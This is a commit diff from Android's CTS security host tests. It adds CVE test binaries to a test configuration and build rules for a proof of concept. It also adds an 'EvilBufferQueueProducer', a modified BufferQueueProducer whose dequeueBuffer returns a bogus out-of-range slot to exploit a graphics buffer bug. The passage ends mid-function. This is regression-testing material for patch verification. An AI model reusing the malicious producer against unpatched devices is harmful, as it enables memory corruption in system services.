[automerger] Merge "DO NOT MERGE: Fix expected error for missing ZIP local header magic." into nougat-mr1-cts-dev am: f2db306ba2 -s ours am: 11d6ab0780 am: f26fc1c19e
Change-Id: Id71aac17ad1d9fab37552a7c36cba262e2657af2
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 50c7728..2aaa4d8 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -57,8 +57,58 @@
<!-- Bulletin 2017-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <!--__________________-->
+ <!-- Bulletin 2017-05 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="CVE-2017-0595->/data/local/tmp/CVE-2017-0595" />
+ <option name="push" value="CVE-2017-0596->/data/local/tmp/CVE-2017-0596" />
+
+ <!--__________________-->
+ <!-- Bulletin 2017-06 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+
+ <!--__________________-->
+ <!-- Bulletin 2017-07 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="CVE-2017-0340->/data/local/tmp/CVE-2017-0340" />
+ <option name="push" value="Bug-36991414->/data/local/tmp/Bug-36991414" />
+
+ <!--__________________-->
+ <!-- Bulletin 2017-08 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="CVE-2017-0731->/data/local/tmp/CVE-2017-0731" />
+
+ <!--__________________-->
+ <!-- Bulletin 2017-09 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="CVE-2017-0770->/data/local/tmp/CVE-2017-0770" />
+
+ <!--__________________-->
+ <!-- Bulletin 2017-10 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+
+ <!--__________________-->
+ <!-- Bulletin 2017-11 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+
<option name="append-bitness" value="true" />
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+
+ <option name="push" value="cve_2017_0770.mp4->/sdcard/cve_2017_0770.mp4" />
+
+ <option name="append-bitness" value="false" />
+ </target_preparer>
+
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSecurityHostTestCases.jar" />
<option name="runtime-hint" value="32s" />
diff --git a/hostsidetests/security/res/cve_2017_0859.mp4 b/hostsidetests/security/res/cve_2017_0859.mp4
new file mode 100644
index 0000000..1313815
--- /dev/null
+++ b/hostsidetests/security/res/cve_2017_0859.mp4
Binary files differ
diff --git a/hostsidetests/security/securityPatch/Bug-36991414/Android.mk b/hostsidetests/security/securityPatch/Bug-36991414/Android.mk
new file mode 100644
index 0000000..6351ef3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36991414/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36991414
+LOCAL_SRC_FILES := poc.cpp BufferQueueProducer.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)\
+ $(TOP)/frameworks/native/include/media/openmax \
+ $(TOP)/frameworks/av/include/media \
+ $(TOP)/frameworks/native/include/media/hardware \
+ $(TOP)/system/core/include \
+
+LOCAL_SHARED_LIBRARIES += \
+ libstagefright libmedia libutils libbinder libstagefright_foundation \
+ libjpeg libgui libcutils liblog libui libEGL
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.cpp b/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.cpp
new file mode 100644
index 0000000..e39a3cc
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.cpp
@@ -0,0 +1,1309 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#include <inttypes.h>
+
+#define LOG_TAG "EvilBufferQueueProducer"
+#define ATRACE_TAG ATRACE_TAG_GRAPHICS
+//#define LOG_NDEBUG 0
+#define private public
+#if DEBUG_ONLY_CODE
+#define VALIDATE_CONSISTENCY() \
+ do { \
+ mCore->validateConsistencyLocked(); \
+ } while (0)
+#else
+#define VALIDATE_CONSISTENCY()
+#endif
+
+#define EGL_EGLEXT_PROTOTYPES
+
+#include <binder/IPCThreadState.h>
+#include <gui/BufferItem.h>
+#include <gui/BufferQueueCore.h>
+#include <gui/BufferQueueProducer.h>
+#include <gui/GLConsumer.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IGraphicBufferAlloc.h>
+#include <gui/IProducerListener.h>
+#include <utils/Log.h>
+#include <utils/Trace.h>
+#include "BufferQueueProducer.h"
+
+namespace android {
+
+EvilBufferQueueProducer::EvilBufferQueueProducer(
+ const sp<BufferQueueCore>& core)
+ : mCore(core),
+ mSlots(core->mSlots),
+ mConsumerName(),
+ mStickyTransform(0),
+ mLastQueueBufferFence(Fence::NO_FENCE),
+ mCallbackMutex(),
+ mNextCallbackTicket(0),
+ mCurrentCallbackTicket(0),
+ mCallbackCondition(),
+ mDequeueTimeout(-1) {}
+
+EvilBufferQueueProducer::~EvilBufferQueueProducer() {}
+
+status_t EvilBufferQueueProducer::requestBuffer(int slot,
+ sp<GraphicBuffer>* buf) {
+ ATRACE_CALL();
+ BQ_LOGV("requestBuffer: slot %d", slot);
+ Mutex::Autolock lock(mCore->mMutex);
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("requestBuffer: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+ BQ_LOGE("requestBuffer: BufferQueue has no connected producer");
+ return NO_INIT;
+ }
+
+ if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+ BQ_LOGE("requestBuffer: slot index %d out of range [0, %d)", slot,
+ BufferQueueDefs::NUM_BUFFER_SLOTS);
+ return BAD_VALUE;
+ } else if (!mSlots[slot].mBufferState.isDequeued()) {
+ BQ_LOGE(
+ "requestBuffer: slot %d is not owned by the producer "
+ "(state = %s)",
+ slot, mSlots[slot].mBufferState.string());
+ return BAD_VALUE;
+ }
+
+ mSlots[slot].mRequestBufferCalled = true;
+ *buf = mSlots[slot].mGraphicBuffer;
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setMaxDequeuedBufferCount(
+ int maxDequeuedBuffers) {
+ ATRACE_CALL();
+ BQ_LOGV("setMaxDequeuedBufferCount: maxDequeuedBuffers = %d",
+ maxDequeuedBuffers);
+
+ sp<IConsumerListener> listener;
+ { // Autolock scope
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->waitWhileAllocatingLocked();
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE(
+ "setMaxDequeuedBufferCount: BufferQueue has been "
+ "abandoned");
+ return NO_INIT;
+ }
+
+ if (maxDequeuedBuffers == mCore->mMaxDequeuedBufferCount) {
+ return NO_ERROR;
+ }
+
+ // The new maxDequeuedBuffer count should not be violated by the number
+ // of currently dequeued buffers
+ int dequeuedCount = 0;
+ for (int s : mCore->mActiveBuffers) {
+ if (mSlots[s].mBufferState.isDequeued()) {
+ dequeuedCount++;
+ }
+ }
+ if (dequeuedCount > maxDequeuedBuffers) {
+ BQ_LOGE(
+ "setMaxDequeuedBufferCount: the requested maxDequeuedBuffer"
+ "count (%d) exceeds the current dequeued buffer count (%d)",
+ maxDequeuedBuffers, dequeuedCount);
+ return BAD_VALUE;
+ }
+
+ int bufferCount = mCore->getMinUndequeuedBufferCountLocked();
+ bufferCount += maxDequeuedBuffers;
+
+ if (bufferCount > BufferQueueDefs::NUM_BUFFER_SLOTS) {
+ BQ_LOGE(
+ "setMaxDequeuedBufferCount: bufferCount %d too large "
+ "(max %d)",
+ bufferCount, BufferQueueDefs::NUM_BUFFER_SLOTS);
+ return BAD_VALUE;
+ }
+
+ const int minBufferSlots = mCore->getMinMaxBufferCountLocked();
+ if (bufferCount < minBufferSlots) {
+ BQ_LOGE(
+ "setMaxDequeuedBufferCount: requested buffer count %d is "
+ "less than minimum %d",
+ bufferCount, minBufferSlots);
+ return BAD_VALUE;
+ }
+
+ if (bufferCount > mCore->mMaxBufferCount) {
+ BQ_LOGE(
+ "setMaxDequeuedBufferCount: %d dequeued buffers would "
+ "exceed the maxBufferCount (%d) (maxAcquired %d async %d "
+ "mDequeuedBufferCannotBlock %d)",
+ maxDequeuedBuffers, mCore->mMaxBufferCount,
+ mCore->mMaxAcquiredBufferCount, mCore->mAsyncMode,
+ mCore->mDequeueBufferCannotBlock);
+ return BAD_VALUE;
+ }
+
+ int delta = maxDequeuedBuffers - mCore->mMaxDequeuedBufferCount;
+ if (!mCore->adjustAvailableSlotsLocked(delta)) {
+ return BAD_VALUE;
+ }
+ mCore->mMaxDequeuedBufferCount = maxDequeuedBuffers;
+ VALIDATE_CONSISTENCY();
+ if (delta < 0) {
+ listener = mCore->mConsumerListener;
+ }
+ mCore->mDequeueCondition.broadcast();
+ } // Autolock scope
+
+ // Call back without lock held
+ if (listener != NULL) {
+ listener->onBuffersReleased();
+ }
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setAsyncMode(bool async) {
+ ATRACE_CALL();
+ BQ_LOGV("setAsyncMode: async = %d", async);
+
+ sp<IConsumerListener> listener;
+ { // Autolock scope
+ Mutex::Autolock lock(mCore->mMutex);
+ mCore->waitWhileAllocatingLocked();
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("setAsyncMode: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ if (async == mCore->mAsyncMode) {
+ return NO_ERROR;
+ }
+
+ if ((mCore->mMaxAcquiredBufferCount + mCore->mMaxDequeuedBufferCount +
+ (async || mCore->mDequeueBufferCannotBlock ? 1 : 0)) >
+ mCore->mMaxBufferCount) {
+ BQ_LOGE(
+ "setAsyncMode(%d): this call would cause the "
+ "maxBufferCount (%d) to be exceeded (maxAcquired %d "
+ "maxDequeued %d mDequeueBufferCannotBlock %d)",
+ async, mCore->mMaxBufferCount, mCore->mMaxAcquiredBufferCount,
+ mCore->mMaxDequeuedBufferCount, mCore->mDequeueBufferCannotBlock);
+ return NO_ERROR;
+ // return BAD_VALUE;
+ }
+
+ int delta =
+ mCore->getMaxBufferCountLocked(async, mCore->mDequeueBufferCannotBlock,
+ mCore->mMaxBufferCount) -
+ mCore->getMaxBufferCountLocked();
+
+ if (!mCore->adjustAvailableSlotsLocked(delta)) {
+ BQ_LOGE(
+ "setAsyncMode: BufferQueue failed to adjust the number of "
+ "available slots. Delta = %d",
+ delta);
+ return BAD_VALUE;
+ }
+ mCore->mAsyncMode = async;
+ VALIDATE_CONSISTENCY();
+ mCore->mDequeueCondition.broadcast();
+ if (delta < 0) {
+ listener = mCore->mConsumerListener;
+ }
+ } // Autolock scope
+
+ // Call back without lock held
+ if (listener != NULL) {
+ listener->onBuffersReleased();
+ }
+ return NO_ERROR;
+}
+
+int EvilBufferQueueProducer::getFreeBufferLocked() const {
+ if (mCore->mFreeBuffers.empty()) {
+ return BufferQueueCore::INVALID_BUFFER_SLOT;
+ }
+ int slot = mCore->mFreeBuffers.front();
+ mCore->mFreeBuffers.pop_front();
+ return slot;
+}
+
+int EvilBufferQueueProducer::getFreeSlotLocked() const {
+ if (mCore->mFreeSlots.empty()) {
+ return BufferQueueCore::INVALID_BUFFER_SLOT;
+ }
+ int slot = *(mCore->mFreeSlots.begin());
+ mCore->mFreeSlots.erase(slot);
+ return slot;
+}
+
+status_t EvilBufferQueueProducer::waitForFreeSlotThenRelock(
+ FreeSlotCaller caller, int* found) const {
+ auto callerString =
+ (caller == FreeSlotCaller::Dequeue) ? "dequeueBuffer" : "attachBuffer";
+ bool tryAgain = true;
+ while (tryAgain) {
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("%s: BufferQueue has been abandoned", callerString);
+ return NO_INIT;
+ }
+
+ int dequeuedCount = 0;
+ int acquiredCount = 0;
+ for (int s : mCore->mActiveBuffers) {
+ if (mSlots[s].mBufferState.isDequeued()) {
+ ++dequeuedCount;
+ }
+ if (mSlots[s].mBufferState.isAcquired()) {
+ ++acquiredCount;
+ }
+ }
+
+ // Producers are not allowed to dequeue more than
+ // mMaxDequeuedBufferCount buffers.
+ // This check is only done if a buffer has already been queued
+ if (mCore->mBufferHasBeenQueued &&
+ dequeuedCount >= mCore->mMaxDequeuedBufferCount) {
+ BQ_LOGE(
+ "%s: attempting to exceed the max dequeued buffer count "
+ "(%d)",
+ callerString, mCore->mMaxDequeuedBufferCount);
+ return INVALID_OPERATION;
+ }
+
+ *found = BufferQueueCore::INVALID_BUFFER_SLOT;
+
+ // If we disconnect and reconnect quickly, we can be in a state where
+ // our slots are empty but we have many buffers in the queue. This can
+ // cause us to run out of memory if we outrun the consumer. Wait here if
+ // it looks like we have too many buffers queued up.
+ const int maxBufferCount = mCore->getMaxBufferCountLocked();
+ bool tooManyBuffers =
+ mCore->mQueue.size() > static_cast<size_t>(maxBufferCount);
+ if (tooManyBuffers) {
+ BQ_LOGV("%s: queue size is %zu, waiting", callerString,
+ mCore->mQueue.size());
+ } else {
+ // If in shared buffer mode and a shared buffer exists, always
+ // return it.
+ if (mCore->mSharedBufferMode &&
+ mCore->mSharedBufferSlot != BufferQueueCore::INVALID_BUFFER_SLOT) {
+ *found = mCore->mSharedBufferSlot;
+ } else {
+ if (caller == FreeSlotCaller::Dequeue) {
+ // If we're calling this from dequeue, prefer free buffers
+ int slot = getFreeBufferLocked();
+ if (slot != BufferQueueCore::INVALID_BUFFER_SLOT) {
+ *found = slot;
+ } else if (mCore->mAllowAllocation) {
+ *found = getFreeSlotLocked();
+ }
+ } else {
+ // If we're calling this from attach, prefer free slots
+ int slot = getFreeSlotLocked();
+ if (slot != BufferQueueCore::INVALID_BUFFER_SLOT) {
+ *found = slot;
+ } else {
+ *found = getFreeBufferLocked();
+ }
+ }
+ }
+ }
+
+ // If no buffer is found, or if the queue has too many buffers
+ // outstanding, wait for a buffer to be acquired or released, or for the
+ // max buffer count to change.
+ tryAgain =
+ (*found == BufferQueueCore::INVALID_BUFFER_SLOT) || tooManyBuffers;
+ if (tryAgain) {
+ // Return an error if we're in non-blocking mode (producer and
+ // consumer are controlled by the application).
+ // However, the consumer is allowed to briefly acquire an extra
+ // buffer (which could cause us to have to wait here), which is
+ // okay, since it is only used to implement an atomic acquire +
+ // release (e.g., in GLConsumer::updateTexImage())
+ if ((mCore->mDequeueBufferCannotBlock || mCore->mAsyncMode) &&
+ (acquiredCount <= mCore->mMaxAcquiredBufferCount)) {
+ return WOULD_BLOCK;
+ }
+ if (mDequeueTimeout >= 0) {
+ status_t result = mCore->mDequeueCondition.waitRelative(
+ mCore->mMutex, mDequeueTimeout);
+ if (result == TIMED_OUT) {
+ return result;
+ }
+ } else {
+ mCore->mDequeueCondition.wait(mCore->mMutex);
+ }
+ }
+ } // while (tryAgain)
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::dequeueBuffer(int* outSlot,
+ sp<android::Fence>* outFence,
+ uint32_t width, uint32_t height,
+ PixelFormat format,
+ uint32_t usage) {
+ ATRACE_CALL();
+ { // Evil
+ *outSlot = 0x400010;
+ *outFence = Fence::NO_FENCE;
+ return 8;
+ }
+}
+
+status_t EvilBufferQueueProducer::detachBuffer(int slot) {
+ ATRACE_CALL();
+ ATRACE_BUFFER_INDEX(slot);
+ BQ_LOGV("detachBuffer: slot %d", slot);
+
+ sp<IConsumerListener> listener;
+ {
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("detachBuffer: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+ BQ_LOGE("detachBuffer: BufferQueue has no connected producer");
+ return NO_INIT;
+ }
+
+ if (mCore->mSharedBufferMode || mCore->mSharedBufferSlot == slot) {
+ BQ_LOGE("detachBuffer: cannot detach a buffer in shared buffer mode");
+ return BAD_VALUE;
+ }
+
+ if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+ BQ_LOGE("detachBuffer: slot index %d out of range [0, %d)", slot,
+ BufferQueueDefs::NUM_BUFFER_SLOTS);
+ return BAD_VALUE;
+ } else if (!mSlots[slot].mBufferState.isDequeued()) {
+ BQ_LOGE(
+ "detachBuffer: slot %d is not owned by the producer "
+ "(state = %s)",
+ slot, mSlots[slot].mBufferState.string());
+ return BAD_VALUE;
+ } else if (!mSlots[slot].mRequestBufferCalled) {
+ BQ_LOGE("detachBuffer: buffer in slot %d has not been requested", slot);
+ return BAD_VALUE;
+ }
+
+ mSlots[slot].mBufferState.detachProducer();
+ mCore->mActiveBuffers.erase(slot);
+ mCore->mFreeSlots.insert(slot);
+ mCore->clearBufferSlotLocked(slot);
+ mCore->mDequeueCondition.broadcast();
+ VALIDATE_CONSISTENCY();
+ listener = mCore->mConsumerListener;
+ }
+
+ if (listener != NULL) {
+ listener->onBuffersReleased();
+ }
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::detachNextBuffer(sp<GraphicBuffer>* outBuffer,
+ sp<Fence>* outFence) {
+ ATRACE_CALL();
+
+ if (outBuffer == NULL) {
+ BQ_LOGE("detachNextBuffer: outBuffer must not be NULL");
+ return BAD_VALUE;
+ } else if (outFence == NULL) {
+ BQ_LOGE("detachNextBuffer: outFence must not be NULL");
+ return BAD_VALUE;
+ }
+
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("detachNextBuffer: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+ BQ_LOGE("detachNextBuffer: BufferQueue has no connected producer");
+ return NO_INIT;
+ }
+
+ if (mCore->mSharedBufferMode) {
+ BQ_LOGE(
+ "detachNextBuffer: cannot detach a buffer in shared buffer "
+ "mode");
+ return BAD_VALUE;
+ }
+
+ mCore->waitWhileAllocatingLocked();
+
+ if (mCore->mFreeBuffers.empty()) {
+ return NO_MEMORY;
+ }
+
+ int found = mCore->mFreeBuffers.front();
+ mCore->mFreeBuffers.remove(found);
+ mCore->mFreeSlots.insert(found);
+
+ BQ_LOGV("detachNextBuffer detached slot %d", found);
+
+ *outBuffer = mSlots[found].mGraphicBuffer;
+ *outFence = mSlots[found].mFence;
+ mCore->clearBufferSlotLocked(found);
+ VALIDATE_CONSISTENCY();
+
+ return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::attachBuffer(
+ int* outSlot, const sp<android::GraphicBuffer>& buffer) {
+ ATRACE_CALL();
+
+ if (outSlot == NULL) {
+ BQ_LOGE("attachBuffer: outSlot must not be NULL");
+ return BAD_VALUE;
+ } else if (buffer == NULL) {
+ BQ_LOGE("attachBuffer: cannot attach NULL buffer");
+ return BAD_VALUE;
+ }
+
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("attachBuffer: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+ BQ_LOGE("attachBuffer: BufferQueue has no connected producer");
+ return NO_INIT;
+ }
+
+ if (mCore->mSharedBufferMode) {
+ BQ_LOGE("attachBuffer: cannot attach a buffer in shared buffer mode");
+ return BAD_VALUE;
+ }
+
+ if (buffer->getGenerationNumber() != mCore->mGenerationNumber) {
+ BQ_LOGE(
+ "attachBuffer: generation number mismatch [buffer %u] "
+ "[queue %u]",
+ buffer->getGenerationNumber(), mCore->mGenerationNumber);
+ return BAD_VALUE;
+ }
+
+ mCore->waitWhileAllocatingLocked();
+
+ status_t returnFlags = NO_ERROR;
+ int found;
+ status_t status = waitForFreeSlotThenRelock(FreeSlotCaller::Attach, &found);
+ if (status != NO_ERROR) {
+ return status;
+ }
+
+ // This should not happen
+ if (found == BufferQueueCore::INVALID_BUFFER_SLOT) {
+ BQ_LOGE("attachBuffer: no available buffer slots");
+ return -EBUSY;
+ }
+
+ *outSlot = found;
+ ATRACE_BUFFER_INDEX(*outSlot);
+ BQ_LOGV("attachBuffer: returning slot %d flags=%#x", *outSlot, returnFlags);
+
+ mSlots[*outSlot].mGraphicBuffer = buffer;
+ mSlots[*outSlot].mBufferState.attachProducer();
+ mSlots[*outSlot].mEglFence = EGL_NO_SYNC_KHR;
+ mSlots[*outSlot].mFence = Fence::NO_FENCE;
+ mSlots[*outSlot].mRequestBufferCalled = true;
+ mSlots[*outSlot].mAcquireCalled = false;
+ mCore->mActiveBuffers.insert(found);
+ VALIDATE_CONSISTENCY();
+
+ return returnFlags;
+}
+
+status_t EvilBufferQueueProducer::queueBuffer(int slot,
+ const QueueBufferInput& input,
+ QueueBufferOutput* output) {
+ ATRACE_CALL();
+ ATRACE_BUFFER_INDEX(slot);
+
+ int64_t timestamp;
+ bool isAutoTimestamp;
+ android_dataspace dataSpace;
+ Rect crop(Rect::EMPTY_RECT);
+ int scalingMode;
+ uint32_t transform;
+ uint32_t stickyTransform;
+ sp<Fence> fence;
+ input.deflate(×tamp, &isAutoTimestamp, &dataSpace, &crop, &scalingMode,
+ &transform, &fence, &stickyTransform);
+ Region surfaceDamage = input.getSurfaceDamage();
+
+ if (fence == NULL) {
+ BQ_LOGE("queueBuffer: fence is NULL");
+ return BAD_VALUE;
+ }
+
+ switch (scalingMode) {
+ case NATIVE_WINDOW_SCALING_MODE_FREEZE:
+ case NATIVE_WINDOW_SCALING_MODE_SCALE_TO_WINDOW:
+ case NATIVE_WINDOW_SCALING_MODE_SCALE_CROP:
+ case NATIVE_WINDOW_SCALING_MODE_NO_SCALE_CROP:
+ break;
+ default:
+ BQ_LOGE("queueBuffer: unknown scaling mode %d", scalingMode);
+ return BAD_VALUE;
+ }
+
+ sp<IConsumerListener> frameAvailableListener;
+ sp<IConsumerListener> frameReplacedListener;
+ int callbackTicket = 0;
+ BufferItem item;
+ { // Autolock scope
+ Mutex::Autolock lock(mCore->mMutex);
+
+ if (mCore->mIsAbandoned) {
+ BQ_LOGE("queueBuffer: BufferQueue has been abandoned");
+ return NO_INIT;
+ }
+
+ if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+ BQ_LOGE("queueBuffer: BufferQueue has no connected producer");
+ return NO_INIT;
+ }
+
+ if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+ BQ_LOGE("queueBuffer: slot index %d out of range [0, %d)", slot,
+ BufferQueueDefs::NUM_BUFFER_SLOTS);
+ return BAD_VALUE;
+ } else if (!mSlots[slot].mBufferState.isDequeued()) {
+ BQ_LOGE(
+ "queueBuffer: slot %d is not owned by the producer "
+ "(state = %s)",
+ slot, mSlots[slot].mBufferState.string());
+ return BAD_VALUE;
+ } else if (!mSlots[slot].mRequestBufferCalled) {
+ BQ_LOGE(
+ "queueBuffer: slot %d was queued without requesting "
+ "a buffer",
+ slot);
+ return BAD_VALUE;
+ }
+
+ // If shared buffer mode has just been enabled, cache the slot of the
+ // first buffer that is queued and mark it as the shared buffer.
+ if (mCore->mSharedBufferMode &&
+ mCore->mSharedBufferSlot == BufferQueueCore::INVALID_BUFFER_SLOT) {
+ mCore->mSharedBufferSlot = slot;
+ mSlots[slot].mBufferState.mShared = true;
+ }
+
+ BQ_LOGV("queueBuffer: slot=%d/%" PRIu64 " time=%" PRIu64
+ " dataSpace=%d"
+ " crop=[%d,%d,%d,%d] transform=%#x scale=%s",
+ slot, mCore->mFrameCounter + 1, timestamp, dataSpace, crop.left,
+ crop.top, crop.right, crop.bottom, transform,
+ BufferItem::scalingModeName(static_cast<uint32_t>(scalingMode)));
+
+ const sp<GraphicBuffer>& graphicBuffer(mSlots[slot].mGraphicBuffer);
+ Rect bufferRect(graphicBuffer->getWidth(), graphicBuffer->getHeight());
+ Rect croppedRect(Rect::EMPTY_RECT);
+ crop.intersect(bufferRect, &croppedRect);
+ if (croppedRect != crop) {
+ BQ_LOGE(
+ "queueBuffer: crop rect is not contained within the "
+ "buffer in slot %d",
+ slot);
+ return BAD_VALUE;
+ }
+
+ // Override UNKNOWN dataspace with consumer default
+ if (dataSpace == HAL_DATASPACE_UNKNOWN) {
+ dataSpace = mCore->mDefaultBufferDataSpace;
+ }
+
+ mSlots[slot].mFence = fence;
+ mSlots[slot].mBufferState.queue();
+
+ ++mCore->mFrameCounter;
+ mSlots[slot].mFrameNumber = mCore->mFrameCounter;
+
+ item.mAcquireCalled = mSlots[slot].mAcquireCalled;
+ item.mGraphicBuffer = mSlots[slot].mGraphicBuffer;
+ item.mCrop = crop;
+ item.mTransform = transform & ~static_cast<uint32_t>(
+ NATIVE_WINDOW_TRANSFORM_INVERSE_DISPLAY);
+ item.mTransformToDisplayInverse =
+ (transform & NATIVE_WINDOW_TRANSFORM_INVERSE_DISPLAY) != 0;
+ item.mScalingMode = static_cast<uint32_t>(scalingMode);
+ item.mTimestamp = timestamp;
+ item.mIsAutoTimestamp = isAutoTimestamp;
+ item.mDataSpace = dataSpace;
+ item.mFrameNumber = mCore->mFrameCounter;
+ item.mSlot = slot;
+ item.mFence = fence;
+ item.mIsDroppable =
+ mCore->mAsyncMode || mCore->mDequeueBufferCannotBlock ||
+ (mCore->mSharedBufferMode && mCore->mSharedBufferSlot == slot);
+ item.mSurfaceDamage = surfaceDamage;
+ item.mQueuedBuffer = true;
+ item.mAutoRefresh = mCore->mSharedBufferMode && mCore->mAutoRefresh;
+
+ mStickyTransform = stickyTransform;
+
+ // Cache the shared buffer data so that the BufferItem can be recreated.
+ if (mCore->mSharedBufferMode) {
+ mCore->mSharedBufferCache.crop = crop;
+ mCore->mSharedBufferCache.transform = transform;
+ mCore->mSharedBufferCache.scalingMode =
+ static_cast<uint32_t>(scalingMode);
+ mCore->mSharedBufferCache.dataspace = dataSpace;
+ }
+
+ if (mCore->mQueue.empty()) {
+ // When the queue is empty, we can ignore mDequeueBufferCannotBlock
+ // and simply queue this buffer
+ mCore->mQueue.push_back(item);
+ frameAvailableListener = mCore->mConsumerListener;
+ } else {
+ // When the queue is not empty, we need to look at the last buffer
+ // in the queue to see if we need to replace it
+ const BufferItem& last = mCore->mQueue.itemAt(mCore->mQueue.size() - 1);
+ if (last.mIsDroppable) {
+ if (!last.mIsStale) {
+ mSlots[last.mSlot].mBufferState.freeQueued();
+
+ // After leaving shared buffer mode, the shared buffer will
+ // still be around. Mark it as no longer shared if this
+ // operation causes it to be free.
+ if (!mCore->mSharedBufferMode &&
+ mSlots[last.mSlot].mBufferState.isFree()) {
+ mSlots[last.mSlot].mBufferState.mShared = false;
+ }
+ // Don't put the shared buffer on the free list.
+ if (!mSlots[last.mSlot].mBufferState.isShared()) {
+ mCore->mActiveBuffers.erase(last.mSlot);
+ mCore->mFreeBuffers.push_back(last.mSlot);
+ }
+ }
+
+ // Overwrite the droppable buffer with the incoming one
+ mCore->mQueue.editItemAt(mCore->mQueue.size() - 1) = item;
+ frameReplacedListener = mCore->mConsumerListener;
+ } else {
+ mCore->mQueue.push_back(item);
+ frameAvailableListener = mCore->mConsumerListener;
+ }
+ }
+
+ mCore->mBufferHasBeenQueued = true;
+ mCore->mDequeueCondition.broadcast();
+ mCore->mLastQueuedSlot = slot;
+
+ output->inflate(
+ mCore->mDefaultWidth, mCore->mDefaultHeight, mCore->mTransformHint,
+ static_cast<uint32_t>(mCore->mQueue.size()), mCore->mFrameCounter + 1);
+
+ ATRACE_INT(mCore->mConsumerName.string(), mCore->mQueue.size());
+ mCore->mOccupancyTracker.registerOccupancyChange(mCore->mQueue.size());
+
+ // Take a ticket for the callback functions
+ callbackTicket = mNextCallbackTicket++;
+
+ VALIDATE_CONSISTENCY();
+ } // Autolock scope
+
